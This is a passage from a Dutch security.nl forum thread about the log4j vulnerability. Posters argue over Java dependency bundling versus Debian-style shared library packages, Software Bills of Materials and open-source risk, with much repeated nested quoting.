je jouw applicatie packaged een copie van al die bibliotheken meenemen, waardoor je daarna ook verantwoordelijk
bent voor het updaten van al die bibliotheken.
Als men in de Javawereld een wat beter distributiesysteem had dan hoefde men nu alleen wat centrale distributie
repositories te fixen en te wachten tot iedereen zijn dagelijkse pull doet. Zoals het ook werkt in Linux distributies,
in Windows, whereever.
Door Toje Fos:
Jammer van je tijd en heeft geen enkele zin! Dit soort problemen vind je echt niet zomaar eventjes met een 'review' van een softwarebibliotheek van 300.000 regels code die je toch niet begrijpt. Dat is meestal ook niet de meerwaarde van open source software. Wat wél zinvol is, is om te zorgen dat je voorafgaand aan de deployment van je software alle dependencies in kaart hebt gebracht én een bouwsysteem hebt en onderhoudt waarmee je deze (eenvoudig) zelf kan bijwerken. Dan kan je bij calamiteiten als dit log4j probleem snel een nieuwe versie van de aangedane softwarebibliotheken instellen en de zaak opnieuw bouwen en uitrollen. Als het een open source softwarebibliotheek betreft dan kan je bekijken wat er is veranderd om het probleem op te lossen en daar wellicht uit afleiden wat voor soortgelijke problemen er in je eigen code zouden kunnen zitten.
Jammer van je tijd en heeft geen enkele zin! Dit soort problemen vind je echt niet zomaar eventjes met een 'review' van een softwarebibliotheek van 300.000 regels code die je toch niet begrijpt. Dat is meestal ook niet de meerwaarde van open source software. Wat wél zinvol is, is om te zorgen dat je voorafgaand aan de deployment van je software alle dependencies in kaart hebt gebracht én een bouwsysteem hebt en onderhoudt waarmee je deze (eenvoudig) zelf kan bijwerken. Dan kan je bij calamiteiten als dit log4j probleem snel een nieuwe versie van de aangedane softwarebibliotheken instellen en de zaak opnieuw bouwen en uitrollen. Als het een open source softwarebibliotheek betreft dan kan je bekijken wat er is veranderd om het probleem op te lossen en daar wellicht uit afleiden wat voor soortgelijke problemen er in je eigen code zouden kunnen zitten.
Dan is het wel jammer als je werkt met zo'n brak distributiemodel als in de Java wereld gebruikelijk is... je wilt natuurlijk
dat je bibliotheken apart te updaten zijn, zoals ieder redelijk werkend distributiesysteem doet. Dus niet op het moment dat
je jouw applicatie packaged een copie van al die bibliotheken meenemen, waardoor je daarna ook verantwoordelijk
bent voor het updaten van al die bibliotheken.
Als men in de Javawereld een wat beter distributiesysteem had dan hoefde men nu alleen wat centrale distributie
repositories te fixen en te wachten tot iedereen zijn dagelijkse pull doet. Zoals het ook werkt in Linux distributies,
in Windows, whereever.
Dat is dus helemaal niet gewenst voor softwarebibliotheken (Java, C#, whatevever). Je hebt het nog steeds niet begrepen en in plaats van je erin te verdiepen ga je door met onzin verspreiden. Je lijkt wel een wappie.
Door Anoniem: Het probleem zit m'n niet alleen in de code maar met name ook in hoe Java applicaties in elkaar zitten zoals Anoniem 10:29 noemt.
Op ZDNet:
"Its real trouble isn't so much with open-source itself. There's nothing magical about open-source methodology and security. Security mistakes can still enter the code. Linus's law is that given enough eyeballs, all bugs are shallow. But, if not enough developers are looking, security vulnerabilities will still go unnoticed. As what I'm now calling Schneier's law, "Security is a process, not a product," points out constant vigilance is needed to secure all software.
That said, the real pain-in-the-rump with log4j is with how Java hides what libraries its source code and binaries use in numerous Java Archive (JAR) variations. The result? You may be using a vulnerable version of log4j and not know until it's been exploited. "
Behind the log4j mess is another problem, That's "How do you know what open-source components your software is using?" For example, log4j2 has been in use since 2014. You can't expect anyone to remember if they used that first version in some program you're still using today.
The answer is one that the open-source community started taking seriously in recent years: The creation of Software Bills of Material (SBOM). An SBOM spells out exactly what software libraries, routines, and other code has been used in any program. Armed with this, you can examine what component versions are used in your program."
https://www.zdnet.com/article/in-2022-security-will-be-linux-and-open-source-developers-job-number-one/
Op ZDNet:
"Its real trouble isn't so much with open-source itself. There's nothing magical about open-source methodology and security. Security mistakes can still enter the code. Linus's law is that given enough eyeballs, all bugs are shallow. But, if not enough developers are looking, security vulnerabilities will still go unnoticed. As what I'm now calling Schneier's law, "Security is a process, not a product," points out constant vigilance is needed to secure all software.
That said, the real pain-in-the-rump with log4j is with how Java hides what libraries its source code and binaries use in numerous Java Archive (JAR) variations. The result? You may be using a vulnerable version of log4j and not know until it's been exploited. "
Behind the log4j mess is another problem, That's "How do you know what open-source components your software is using?" For example, log4j2 has been in use since 2014. You can't expect anyone to remember if they used that first version in some program you're still using today.
The answer is one that the open-source community started taking seriously in recent years: The creation of Software Bills of Material (SBOM). An SBOM spells out exactly what software libraries, routines, and other code has been used in any program. Armed with this, you can examine what component versions are used in your program."
https://www.zdnet.com/article/in-2022-security-will-be-linux-and-open-source-developers-job-number-one/
Thx en agree!
Iemand ervaring met software ter ondersteuning van het bijhouden van een SBOM
27-12-2021, 21:18 door
Krakatau
Door Anoniem:
Iemand ervaring met software ter ondersteuning van het bijhouden van een SBOM
Iemand ervaring met software ter ondersteuning van het bijhouden van een SBOM
Misschien heb je hier iets aan (ondersteunt meerdere platformen en package managers:
https://github.com/opensbom-generator/spdx-sbom-generator
Volgt de Software Package Data Exchange (SPDX) open standaard.
Door Toje Fos:
Dat is dus helemaal niet gewenst voor softwarebibliotheken (Java, C#, whatevever). Je hebt het nog steeds niet begrepen en in plaats van je erin te verdiepen ga je door met onzin verspreiden. Je lijkt wel een wappie.
Dat is dus helemaal niet gewenst voor softwarebibliotheken (Java, C#, whatevever). Je hebt het nog steeds niet begrepen en in plaats van je erin te verdiepen ga je door met onzin verspreiden. Je lijkt wel een wappie.
Je kunt dat wel blijven roepen Toje MAAR JE HEBT DAT ECHT FOUT!
Het is WEL gewenst dat softwarebibliotheken eenmalig en als apart pakket op het systeem geinstalleerd worden. ECHT.
Denk je van niet, ga het dan nog maar eens opnieuw bestuderen. Ga hier: https://packages.debian.org/stable/libs/
maar eens kijken wat Debian allemaal voor -java libs aanbiedt als apart pakket. Zit log4j ook bij.
Door Anoniem:
Je kunt dat wel blijven roepen Toje MAAR JE HEBT DAT ECHT FOUT!
Het is WEL gewenst dat softwarebibliotheken eenmalig en als apart pakket op het systeem geinstalleerd worden. ECHT.
Denk je van niet, ga het dan nog maar eens opnieuw bestuderen. Ga hier: https://packages.debian.org/stable/libs/
maar eens kijken wat Debian allemaal voor -java libs aanbiedt als apart pakket. Zit log4j ook bij.
Door Toje Fos:
Dat is dus helemaal niet gewenst voor softwarebibliotheken (Java, C#, whatevever). Je hebt het nog steeds niet begrepen en in plaats van je erin te verdiepen ga je door met onzin verspreiden. Je lijkt wel een wappie.
Dat is dus helemaal niet gewenst voor softwarebibliotheken (Java, C#, whatevever). Je hebt het nog steeds niet begrepen en in plaats van je erin te verdiepen ga je door met onzin verspreiden. Je lijkt wel een wappie.
Je kunt dat wel blijven roepen Toje MAAR JE HEBT DAT ECHT FOUT!
Het is WEL gewenst dat softwarebibliotheken eenmalig en als apart pakket op het systeem geinstalleerd worden. ECHT.
Denk je van niet, ga het dan nog maar eens opnieuw bestuderen. Ga hier: https://packages.debian.org/stable/libs/
maar eens kijken wat Debian allemaal voor -java libs aanbiedt als apart pakket. Zit log4j ook bij.
Je snapt gewoon niet dat het niet over installeren als apart pakket gaat. Het gaat over de referentie (aan een unieke versie, via versienummer). EN NOGMAALS: HET GAAT NIET OVER PACKAGES VOOR JE BESTURINGSSYSTEEM!
Door Toje Fos:
Je snapt gewoon niet dat het niet over installeren als apart pakket gaat. Het gaat over de referentie (aan een unieke versie, via versienummer). EN NOGMAALS: HET GAAT NIET OVER PACKAGES VOOR JE BESTURINGSSYSTEEM!
Je snapt gewoon niet dat het niet over installeren als apart pakket gaat. Het gaat over de referentie (aan een unieke versie, via versienummer). EN NOGMAALS: HET GAAT NIET OVER PACKAGES VOOR JE BESTURINGSSYSTEEM!
Gaat het wel over! het is hetzelfde alsof je een LIBC update. Vulnerability oplossen door de lib te vervangen.
Versienummer moet bestaan uit een API versie en een implementatie versie, waarbij je de implementatie kunt vervangen
zonder problemen te veroorzaken voor de applicatie die het gebruikt. En met 1 update alle applicaties weer gezond maakt.
Maar ik zie het al, je gaat het niet snappen. Of je bent wellicht een Java fanboi en wilt de gebreken niet zien.
Gelukkig snappen OS distributeurs zoals Debian het beter dan jij.
Voor degene die aan de wal klagen dat het allemaal veel beter kan, richt je tot: https://logging.apache.org/log4j/2.x/guidelines.html
Security.nl is maar een nieuws site.
Security.nl is maar een nieuws site.
Door Anoniem: ... Maar ik zie het al, je gaat het niet snappen. Of je bent wellicht een Java fanboi en wilt de gebreken niet zien.
Gelukkig snappen OS distributeurs zoals Debian het beter dan jij.
Gelukkig snappen OS distributeurs zoals Debian het beter dan jij.
Madre de Diablo! Weer zo eentje die overal een OS-discussie van maakt! :-(
Door Anoniem: Gaat het wel over! het is hetzelfde alsof je een LIBC update. Vulnerability oplossen door de lib te vervangen.
Versienummer moet bestaan uit een API versie en een implementatie versie, waarbij je de implementatie kunt vervangen
zonder problemen te veroorzaken voor de applicatie die het gebruikt. En met 1 update alle applicaties weer gezond maakt.
Maar ik zie het al, je gaat het niet snappen. Of je bent wellicht een Java fanboi en wilt de gebreken niet zien.
Gelukkig snappen OS distributeurs zoals Debian het beter dan jij.
Stel je nou eens voor dat een bedrijf een pakket installeert dat niet in Debian of een andere distro aanwezig is. Er zijn heel veel dingen die niet als open source beschikbaar zijn. Je kan in Debian in de verste verte niet alles vinden wat je nodig hebt om een bank, een verzekeringsmaatschappij, een ziekenhuis of een logistiek bedrijf te runnen, om maar wat te noemen. Een bedrijf kan dus makkelijk een pakket nodig hebben dat niet in Debian aanwezig is. Laten we aannemen dat de leverancier van zo'n pakket het in Java heeft geschreven en Log4j gebruikt.Versienummer moet bestaan uit een API versie en een implementatie versie, waarbij je de implementatie kunt vervangen
zonder problemen te veroorzaken voor de applicatie die het gebruikt. En met 1 update alle applicaties weer gezond maakt.
Maar ik zie het al, je gaat het niet snappen. Of je bent wellicht een Java fanboi en wilt de gebreken niet zien.
Gelukkig snappen OS distributeurs zoals Debian het beter dan jij.
Die leverancier heeft klanten die verschillende besturingssystemen gebruiken. Sommige gebruiken Windows, andere Debian, Ubuntu, RedHat, SUSE of een andere Linux-distro. Die Linux-distro's kunnen makkelijk verschillende versies van Log4j voeren.
Jij noemt steeds Debian als voorbeeld, maar juist Debian heeft als beleid dat er tussen major releases functioneel niets wijzigt, en daar kan soms wel twee jaar tussen zitten. Daarom zal Debian bij een security patch typisch niet de meest recente upstream versie gaan verspreiden maar in plaats daarvan de reparatie overnemen in de versie die zij voeren. Dat ze nu met Log4j wél naar de nieuwste versie zijn gegaan was omdat dat toevallig kon, maar zo gaat het lang niet altijd.
Terug naar de commerciële leverancier met klanten die verschillende besturingssystemen gebruiken, waaronder verschillende Linux-distro's. Die gebruikt misschien wel Log4j-features die vanaf een bepaalde versie bestaan, terwijl niet alle distro's al zo ver zijn met hun Log4j-versie. Ook een nieuwere versie dan waar de leverancier zijn tests mee heeft afgerond is ongewenst, want dan kan de leverancier de goede werking niet garanderen.
Er kan dus makkelijk een voor het pakket niet bruikbare Log4j-versie meegeleverd worden met een OS, en er zijn klanten die dat OS gebruiken. Hoe denk je dat zo'n leverancier dat oplost? Simpel, door niet de Log4j-versie te gebruiken die het besturingssyteem aanbiedt maar een versie die hij zelf met het pakket meelevert. Dat gebeurt ook als je het op Debian installeert.
Dat doet niets af aan het feit dat het package management van Debian geweldig is. Ik gebruik Debian zelf al meer dan 20 jaar als mijn primaire OS, ook op de desktop, precies omdat ik de stabiliteit ervan waardeer. Maar besef wel dat die stabiliteit niet alleen voortkomt uit de goede tools die ze ervoor hebben ontwikkeld, maar vooral uit het feit dat het Debian-project serieus goede processen heeft ingericht om al die tienduizenden pakketten die ze in hun distributie hebben in samenhang te testen en goed te laten werken. Software van commerciële leveranciers draait daar alleen niet in mee, en die commerciële leveranciers hebben weer niet uitsluitend met Debian te maken. Het levert een andere situatie op met andere problemen dan een nieuwe versie van libc, en die problemen zijn echt niet automagisch opgelost omdat Debian een goed systeem heeft.
Door Toje Fos:
Dat doen toje Fos Krakatau natuurlijk nooit, nooit iets van een Os flaming kunnen zien. /sarcasm Door Anoniem: ... Maar ik zie het al, je gaat het niet snappen. Of je bent wellicht een Java fanboi en wilt de gebreken niet zien.
Gelukkig snappen OS distributeurs zoals Debian het beter dan jij.
Madre de Diablo! Weer zo eentje die overal een OS-discussie van maakt! :-(Gelukkig snappen OS distributeurs zoals Debian het beter dan jij.
Het delen van libraries is een zeer slecht idee. Ooit noemde men dat de DLL-hel software van leverancier A die die van B om zeep helpt en bij een OS update stopt met werken. Totaal onwerkbaar.
Je zult door de API verschillen en functionele verschillen meerdere versies op een systeem moeten hebben me daarbij een registratie systeem wie wat gebruikt. Zo'n registratiesysteem kun je een naam geven als een register. Het functioneert als een Bill of Materials. Met de laatste afnemer kun je de voorziening afvoeren.
Doet me denken aan SOA waarbij de bus als ontkoppelpunt voor Api's bedacht werd maar de hoeveelheid versie van api's onbeheersbaar werd. Terug naar een punt-punt benadering wat tegenwoordig micorservices heet.
Terug naar de commerciële leverancier met klanten die verschillende besturingssystemen gebruiken, waaronder verschillende Linux-distro's. Die gebruikt misschien wel Log4j-features die vanaf een bepaalde versie bestaan, terwijl niet alle distro's al zo ver zijn met hun Log4j-versie. Ook een nieuwere versie dan waar de leverancier zijn tests mee heeft afgerond is ongewenst, want dan kan de leverancier de goede werking niet garanderen.
Je kunt rusting meerdere versies verwachten van een package bij een solution omdat die weer uit andere externe onderdelen is opgebouwd. Eens wat dit betreft met je, maar nog iets complexer dan je schetst.Door Anoniem:
Terug naar de commerciële leverancier met klanten die verschillende besturingssystemen gebruiken, waaronder verschillende Linux-distro's. Die gebruikt misschien wel Log4j-features die vanaf een bepaalde versie bestaan, terwijl niet alle distro's al zo ver zijn met hun Log4j-versie. Ook een nieuwere versie dan waar de leverancier zijn tests mee heeft afgerond is ongewenst, want dan kan de leverancier de goede werking niet garanderen.
Er kan dus makkelijk een voor het pakket niet bruikbare Log4j-versie meegeleverd worden met een OS, en er zijn klanten die dat OS gebruiken. Hoe denk je dat zo'n leverancier dat oplost? Simpel, door niet de Log4j-versie te gebruiken die het besturingssyteem aanbiedt maar een versie die hij zelf met het pakket meelevert. Dat gebeurt ook als je het op Debian installeert.
Dat doet niets af aan het feit dat het package management van Debian geweldig is. Ik gebruik Debian zelf al meer dan 20 jaar als mijn primaire OS, ook op de desktop, precies omdat ik de stabiliteit ervan waardeer. Maar besef wel dat die stabiliteit niet alleen voortkomt uit de goede tools die ze ervoor hebben ontwikkeld, maar vooral uit het feit dat het Debian-project serieus goede processen heeft ingericht om al die tienduizenden pakketten die ze in hun distributie hebben in samenhang te testen en goed te laten werken. Software van commerciële leveranciers draait daar alleen niet in mee, en die commerciële leveranciers hebben weer niet uitsluitend met Debian te maken. Het levert een andere situatie op met andere problemen dan een nieuwe versie van libc, en die problemen zijn echt niet automagisch opgelost omdat Debian een goed systeem heeft.
Terug naar de commerciële leverancier met klanten die verschillende besturingssystemen gebruiken, waaronder verschillende Linux-distro's. Die gebruikt misschien wel Log4j-features die vanaf een bepaalde versie bestaan, terwijl niet alle distro's al zo ver zijn met hun Log4j-versie. Ook een nieuwere versie dan waar de leverancier zijn tests mee heeft afgerond is ongewenst, want dan kan de leverancier de goede werking niet garanderen.
Er kan dus makkelijk een voor het pakket niet bruikbare Log4j-versie meegeleverd worden met een OS, en er zijn klanten die dat OS gebruiken. Hoe denk je dat zo'n leverancier dat oplost? Simpel, door niet de Log4j-versie te gebruiken die het besturingssyteem aanbiedt maar een versie die hij zelf met het pakket meelevert. Dat gebeurt ook als je het op Debian installeert.
Dat doet niets af aan het feit dat het package management van Debian geweldig is. Ik gebruik Debian zelf al meer dan 20 jaar als mijn primaire OS, ook op de desktop, precies omdat ik de stabiliteit ervan waardeer. Maar besef wel dat die stabiliteit niet alleen voortkomt uit de goede tools die ze ervoor hebben ontwikkeld, maar vooral uit het feit dat het Debian-project serieus goede processen heeft ingericht om al die tienduizenden pakketten die ze in hun distributie hebben in samenhang te testen en goed te laten werken. Software van commerciële leveranciers draait daar alleen niet in mee, en die commerciële leveranciers hebben weer niet uitsluitend met Debian te maken. Het levert een andere situatie op met andere problemen dan een nieuwe versie van libc, en die problemen zijn echt niet automagisch opgelost omdat Debian een goed systeem heeft.
Daar zou de Java community een voorbeeld aan moeten nemen. Omdat Java platform onafhankelijk is zouden ze
niet gebruik moeten maken van Debian als distributie medium maar zelf een installatie repository moeten opzetten
die vergelijkbaar werkt. Dus NIET zoals die MAVEN het nu doet door alle applicaties compleet met de hele bups aan
shared libraries te distribueren en dan de verantwoordelijkheid om die te updaten weer terug te leggen bij de
applicatie maintainer, maar door net als bij Debian al die shared libraries als een apart pakketje te distribueren, en
bij een applicatie aan te geven van welke library pakketjes die afhankelijk zijn.
Als er dan zoiets voorvalt als nu, dan kun je als distributeur simpelweg dat ene library pakketje updaten, of een aantal
van die pakketjes als je meerdere versies moet ondersteunen (bijvoorbeeld omdat de interface gewijzigd is).
Alle applicaties verwijzen dan automatisch naar de nieuwe geupdate library en je hoeft niet tienduizenden pakketten
te updaten zoals nu het geval is. En als er een of andere auto-update mechanisme is dan trekken de gebruikers van
je pakketten (die dat willen) automatisch de gefixte library naar binnen zonder het hele applicatiepakket te vernieuwen.
Als men zo slim was geweest het zo te maken, dan was er nu niet zo'n probleem geweest.
Door Anoniem:
Die leverancier heeft klanten die verschillende besturingssystemen gebruiken. Sommige gebruiken Windows, andere Debian, Ubuntu, RedHat, SUSE of een andere Linux-distro. Die Linux-distro's kunnen makkelijk verschillende versies van Log4j voeren.
Jij noemt steeds Debian als voorbeeld, maar juist Debian heeft als beleid dat er tussen major releases functioneel niets wijzigt, en daar kan soms wel twee jaar tussen zitten. Daarom zal Debian bij een security patch typisch niet de meest recente upstream versie gaan verspreiden maar in plaats daarvan de reparatie overnemen in de versie die zij voeren. Dat ze nu met Log4j wél naar de nieuwste versie zijn gegaan was omdat dat toevallig kon, maar zo gaat het lang niet altijd.
Terug naar de commerciële leverancier met klanten die verschillende besturingssystemen gebruiken, waaronder verschillende Linux-distro's. Die gebruikt misschien wel Log4j-features die vanaf een bepaalde versie bestaan, terwijl niet alle distro's al zo ver zijn met hun Log4j-versie. Ook een nieuwere versie dan waar de leverancier zijn tests mee heeft afgerond is ongewenst, want dan kan de leverancier de goede werking niet garanderen.
Er kan dus makkelijk een voor het pakket niet bruikbare Log4j-versie meegeleverd worden met een OS, en er zijn klanten die dat OS gebruiken. Hoe denk je dat zo'n leverancier dat oplost? Simpel, door niet de Log4j-versie te gebruiken die het besturingssyteem aanbiedt maar een versie die hij zelf met het pakket meelevert. Dat gebeurt ook als je het op Debian installeert.
Dat doet niets af aan het feit dat het package management van Debian geweldig is. Ik gebruik Debian zelf al meer dan 20 jaar als mijn primaire OS, ook op de desktop, precies omdat ik de stabiliteit ervan waardeer. Maar besef wel dat die stabiliteit niet alleen voortkomt uit de goede tools die ze ervoor hebben ontwikkeld, maar vooral uit het feit dat het Debian-project serieus goede processen heeft ingericht om al die tienduizenden pakketten die ze in hun distributie hebben in samenhang te testen en goed te laten werken. Software van commerciële leveranciers draait daar alleen niet in mee, en die commerciële leveranciers hebben weer niet uitsluitend met Debian te maken. Het levert een andere situatie op met andere problemen dan een nieuwe versie van libc, en die problemen zijn echt niet automagisch opgelost omdat Debian een goed systeem heeft.
Vandaar dat er steeds meer aangeleverd wordt in containers. Dan heb je het als leverancier meer in eigen hand.Door Anoniem: Gaat het wel over! het is hetzelfde alsof je een LIBC update. Vulnerability oplossen door de lib te vervangen.
Versienummer moet bestaan uit een API versie en een implementatie versie, waarbij je de implementatie kunt vervangen
zonder problemen te veroorzaken voor de applicatie die het gebruikt. En met 1 update alle applicaties weer gezond maakt.
Maar ik zie het al, je gaat het niet snappen. Of je bent wellicht een Java fanboi en wilt de gebreken niet zien.
Gelukkig snappen OS distributeurs zoals Debian het beter dan jij.
Stel je nou eens voor dat een bedrijf een pakket installeert dat niet in Debian of een andere distro aanwezig is. Er zijn heel veel dingen die niet als open source beschikbaar zijn. Je kan in Debian in de verste verte niet alles vinden wat je nodig hebt om een bank, een verzekeringsmaatschappij, een ziekenhuis of een logistiek bedrijf te runnen, om maar wat te noemen. Een bedrijf kan dus makkelijk een pakket nodig hebben dat niet in Debian aanwezig is. Laten we aannemen dat de leverancier van zo'n pakket het in Java heeft geschreven en Log4j gebruikt.Versienummer moet bestaan uit een API versie en een implementatie versie, waarbij je de implementatie kunt vervangen
zonder problemen te veroorzaken voor de applicatie die het gebruikt. En met 1 update alle applicaties weer gezond maakt.
Maar ik zie het al, je gaat het niet snappen. Of je bent wellicht een Java fanboi en wilt de gebreken niet zien.
Gelukkig snappen OS distributeurs zoals Debian het beter dan jij.
Die leverancier heeft klanten die verschillende besturingssystemen gebruiken. Sommige gebruiken Windows, andere Debian, Ubuntu, RedHat, SUSE of een andere Linux-distro. Die Linux-distro's kunnen makkelijk verschillende versies van Log4j voeren.
Jij noemt steeds Debian als voorbeeld, maar juist Debian heeft als beleid dat er tussen major releases functioneel niets wijzigt, en daar kan soms wel twee jaar tussen zitten. Daarom zal Debian bij een security patch typisch niet de meest recente upstream versie gaan verspreiden maar in plaats daarvan de reparatie overnemen in de versie die zij voeren. Dat ze nu met Log4j wél naar de nieuwste versie zijn gegaan was omdat dat toevallig kon, maar zo gaat het lang niet altijd.
Terug naar de commerciële leverancier met klanten die verschillende besturingssystemen gebruiken, waaronder verschillende Linux-distro's. Die gebruikt misschien wel Log4j-features die vanaf een bepaalde versie bestaan, terwijl niet alle distro's al zo ver zijn met hun Log4j-versie. Ook een nieuwere versie dan waar de leverancier zijn tests mee heeft afgerond is ongewenst, want dan kan de leverancier de goede werking niet garanderen.
Er kan dus makkelijk een voor het pakket niet bruikbare Log4j-versie meegeleverd worden met een OS, en er zijn klanten die dat OS gebruiken. Hoe denk je dat zo'n leverancier dat oplost? Simpel, door niet de Log4j-versie te gebruiken die het besturingssyteem aanbiedt maar een versie die hij zelf met het pakket meelevert. Dat gebeurt ook als je het op Debian installeert.
Dat doet niets af aan het feit dat het package management van Debian geweldig is. Ik gebruik Debian zelf al meer dan 20 jaar als mijn primaire OS, ook op de desktop, precies omdat ik de stabiliteit ervan waardeer. Maar besef wel dat die stabiliteit niet alleen voortkomt uit de goede tools die ze ervoor hebben ontwikkeld, maar vooral uit het feit dat het Debian-project serieus goede processen heeft ingericht om al die tienduizenden pakketten die ze in hun distributie hebben in samenhang te testen en goed te laten werken. Software van commerciële leveranciers draait daar alleen niet in mee, en die commerciële leveranciers hebben weer niet uitsluitend met Debian te maken. Het levert een andere situatie op met andere problemen dan een nieuwe versie van libc, en die problemen zijn echt niet automagisch opgelost omdat Debian een goed systeem heeft.
Door Anoniem: ...
Als men zo slim was geweest het zo te maken, dan was er nu niet zo'n probleem geweest.
Als men zo slim was geweest het zo te maken, dan was er nu niet zo'n probleem geweest.
Je hebt de post van Anoniem 13:24 - https://www.security.nl/posting/735621#posting735963- en mijn post met enigszins vergelijkbare strekking.- https://www.security.nl/posting/734789#posting735293 - blijkbaar niet gelezen of (waarschijnlijker) gewoon niet begrepen...
Ik denk dat we met z'n allen niet kunnen verhullen dat hier toch wel iets heel erg is misgegaan. Blijft de vraag hoe zoveel mensen dezelfde fout hebben kunnen maken.
Door Anoniem: Ik denk dat we met z'n allen niet kunnen verhullen dat hier toch wel iets heel erg is misgegaan. Blijft de vraag hoe zoveel mensen dezelfde fout hebben kunnen maken.
Je bouwt in de automatisering altijd op een fundament van door anderen gemaakte code. En de softwarebibliotheken die goede en veel gevraagde functionaliteit bieden worden door veel mensen gebruikt. Dat kan je een fout noemen maar dat is achteraf gemakkelijk gezegd.
Ik dacht dat alleen managers en politici verantwoordelijkheid afschuiven. Je bent zelf verantwoordelijk voor de code die je (her)gebruikt. Als je code gebruikt die door een stelletje hobbyisten is geschreven en waarin security geen enkele rol speelt is dat natuurlijk een risico
Zero-trust model: We recommend keeping in mind a zero-trust model for . . in the sense that any free code may include major security vulnerabilities or be insufficiently tested. It is then your company’s responsibility to fork and control the repository instead of copy-pasting the original in production . . .
https://www.compact.nl/articles/the-risks-of-open-source-software-for-corporate-use/
Zero-trust model: We recommend keeping in mind a zero-trust model for . . in the sense that any free code may include major security vulnerabilities or be insufficiently tested. It is then your company’s responsibility to fork and control the repository instead of copy-pasting the original in production . . .
https://www.compact.nl/articles/the-risks-of-open-source-software-for-corporate-use/
Door Anoniem: Ik dacht dat alleen managers en politici verantwoordelijkheid afschuiven. Je bent zelf verantwoordelijk voor de code die je (her)gebruikt. Als je code gebruikt die door een stelletje hobbyisten is geschreven en waarin security geen enkele rol speelt is dat natuurlijk een risico
Zero-trust model: We recommend keeping in mind a zero-trust model for . . in the sense that any free code may include major security vulnerabilities or be insufficiently tested. It is then your company’s responsibility to fork and control the repository instead of copy-pasting the original in production . . .
https://www.compact.nl/articles/the-risks-of-open-source-software-for-corporate-use/
Heb je het Microsoft (minecraft) ook al verteld dat ze niet met hobbyisten in zee moeten gaan!Zero-trust model: We recommend keeping in mind a zero-trust model for . . in the sense that any free code may include major security vulnerabilities or be insufficiently tested. It is then your company’s responsibility to fork and control the repository instead of copy-pasting the original in production . . .
https://www.compact.nl/articles/the-risks-of-open-source-software-for-corporate-use/
Door Anoniem: Ik dacht dat alleen managers en politici verantwoordelijkheid afschuiven. Je bent zelf verantwoordelijk voor de code die je (her)gebruikt. Als je code gebruikt die door een stelletje hobbyisten is geschreven en waarin security geen enkele rol speelt is dat natuurlijk een risico
Wie zegt dat? (bron?) Het zijn trained professionals hoor, die log4j hebben geschreven en dat security daarbij geen enkele rol zou hebben gespeeld dat moet je maar eens onderbouwen, roeptoetert.
Door Anoniem: Zero-trust model: We recommend keeping in mind a zero-trust model for . . in the sense that any free code may include major security vulnerabilities or be insufficiently tested. It is then your company’s responsibility to fork and control the repository instead of copy-pasting the original in production . . .
https://www.compact.nl/articles/the-risks-of-open-source-software-for-corporate-use/
https://www.compact.nl/articles/the-risks-of-open-source-software-for-corporate-use/
Als je enigszins zelf zou nadenken dan zou je beseffen dat het gebruik van closed source software for corporate use een nog véél groter risico vormt. Want dan stapel je bovenop het risico van het gebruik van software door derden nog een afhankelijkheid van de grillen van de closed source softwareleverancier (a.k.a. vendor lock-in). Sterkte gewenst daarmee!
Het lijkt erop dat DevOps een beetje te Agile zijn geweest. Tijd dat ze in de spiegel kijken en dat ze evolueren naar DevSecOps.
https://devops.com/from-agile-to-devops-to-devsecops-the-next-evolution/
https://devops.com/from-agile-to-devops-to-devsecops-the-next-evolution/
Door Anoniem:
Door Anoniem:
Die leverancier heeft klanten die verschillende besturingssystemen gebruiken. Sommige gebruiken Windows, andere Debian, Ubuntu, RedHat, SUSE of een andere Linux-distro. Die Linux-distro's kunnen makkelijk verschillende versies van Log4j voeren.
Jij noemt steeds Debian als voorbeeld, maar juist Debian heeft als beleid dat er tussen major releases functioneel niets wijzigt, en daar kan soms wel twee jaar tussen zitten. Daarom zal Debian bij een security patch typisch niet de meest recente upstream versie gaan verspreiden maar in plaats daarvan de reparatie overnemen in de versie die zij voeren. Dat ze nu met Log4j wél naar de nieuwste versie zijn gegaan was omdat dat toevallig kon, maar zo gaat het lang niet altijd.
Terug naar de commerciële leverancier met klanten die verschillende besturingssystemen gebruiken, waaronder verschillende Linux-distro's. Die gebruikt misschien wel Log4j-features die vanaf een bepaalde versie bestaan, terwijl niet alle distro's al zo ver zijn met hun Log4j-versie. Ook een nieuwere versie dan waar de leverancier zijn tests mee heeft afgerond is ongewenst, want dan kan de leverancier de goede werking niet garanderen.
Er kan dus makkelijk een voor het pakket niet bruikbare Log4j-versie meegeleverd worden met een OS, en er zijn klanten die dat OS gebruiken. Hoe denk je dat zo'n leverancier dat oplost? Simpel, door niet de Log4j-versie te gebruiken die het besturingssyteem aanbiedt maar een versie die hij zelf met het pakket meelevert. Dat gebeurt ook als je het op Debian installeert.
Dat doet niets af aan het feit dat het package management van Debian geweldig is. Ik gebruik Debian zelf al meer dan 20 jaar als mijn primaire OS, ook op de desktop, precies omdat ik de stabiliteit ervan waardeer. Maar besef wel dat die stabiliteit niet alleen voortkomt uit de goede tools die ze ervoor hebben ontwikkeld, maar vooral uit het feit dat het Debian-project serieus goede processen heeft ingericht om al die tienduizenden pakketten die ze in hun distributie hebben in samenhang te testen en goed te laten werken. Software van commerciële leveranciers draait daar alleen niet in mee, en die commerciële leveranciers hebben weer niet uitsluitend met Debian te maken. Het levert een andere situatie op met andere problemen dan een nieuwe versie van libc, en die problemen zijn echt niet automagisch opgelost omdat Debian een goed systeem heeft.
Vandaar dat er steeds meer aangeleverd wordt in containers. Dan heb je het als leverancier meer in eigen hand.Door Anoniem: Gaat het wel over! het is hetzelfde alsof je een LIBC update. Vulnerability oplossen door de lib te vervangen.
Versienummer moet bestaan uit een API versie en een implementatie versie, waarbij je de implementatie kunt vervangen
zonder problemen te veroorzaken voor de applicatie die het gebruikt. En met 1 update alle applicaties weer gezond maakt.
Maar ik zie het al, je gaat het niet snappen. Of je bent wellicht een Java fanboi en wilt de gebreken niet zien.
Gelukkig snappen OS distributeurs zoals Debian het beter dan jij.
Stel je nou eens voor dat een bedrijf een pakket installeert dat niet in Debian of een andere distro aanwezig is. Er zijn heel veel dingen die niet als open source beschikbaar zijn. Je kan in Debian in de verste verte niet alles vinden wat je nodig hebt om een bank, een verzekeringsmaatschappij, een ziekenhuis of een logistiek bedrijf te runnen, om maar wat te noemen. Een bedrijf kan dus makkelijk een pakket nodig hebben dat niet in Debian aanwezig is. Laten we aannemen dat de leverancier van zo'n pakket het in Java heeft geschreven en Log4j gebruikt.Versienummer moet bestaan uit een API versie en een implementatie versie, waarbij je de implementatie kunt vervangen
zonder problemen te veroorzaken voor de applicatie die het gebruikt. En met 1 update alle applicaties weer gezond maakt.
